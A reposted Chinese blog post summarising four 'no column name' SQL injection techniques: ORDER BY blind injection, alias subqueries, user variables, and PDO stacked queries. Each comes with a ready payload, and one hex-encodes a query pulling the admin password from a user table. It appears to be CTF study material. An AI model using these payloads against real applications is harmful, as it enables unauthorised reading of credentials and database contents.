无列名注入总结
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了无列名注入总结相关的知识,希望对你有一定的参考价值。
这里对无列名注入的方法进行一下总结,主要出现的情况可能是无法获取列名,或者列名被过滤等等,但一般只能获取可注入语句里面对应表的信息。
0x01 盲注
如果注入存在于如下语句,那么就能够使用盲注这种方法
SELECT * FROM USERS WHERE USERNAME=‘$injectdot‘;
这里主要是利用了order by password
来对password
字段进行盲注,通过回显的用户名是admin
还是xxx
来进行判断。
那么payload就是:
injectdot=admin‘ union select 1,‘xxx‘,‘z‘ order by 3#
0x02 别名
这种方法只要存在一个注入就可以了:
SELECT B FROM A WHERE B=‘$injectdot‘;
具体是利用别名的方法,来将数据获取出来。
那么payload如下:
injectdot=‘ union (select c from (select 1,2,3 as c union select * from user ) as b) limit 1,1# 或者 injectdot=‘ union (select c from (select 1,2,3 c union select * from user )b) limit 1,1#
0x03 变量
这种方法需要在同一个页面存在两个注入:
注入点1:SELECT * FROM USERS WHERE USERNAME=‘$injectdot1‘; 注入点2:SELECT * FROM A WHERE B=‘$injectdot2‘;
那么payload为:
injectdot1=admin‘ into @a,@b,@c# injectdot2=‘ union select @c#
0x04 PDO
这种方法需要利用PDO来对数据库进行操作,于是就能够执行多条语句从而进行注入,主要可以利用prepare
和execute
来执行数据库语句,从而绕过很多过滤进行注入。
只要有注入就行:
SELECT B FROM A WHERE C=‘$injectdot‘;
这样payload是:
injectdot=‘;set @a=unhex("73656c6563742070617373776f72642066726f6d207573657220776865726520757365726e616d653d2761646d696e273b");prepare p from @a;execute p;#
以上是关于无列名注入总结的主要内容,如果未能解决你的问题,请参考以下文章
21年国赛 -- easy_sql --- 利用join进行无列名注入
21年国赛 -- easy_sql --- 利用join进行无列名注入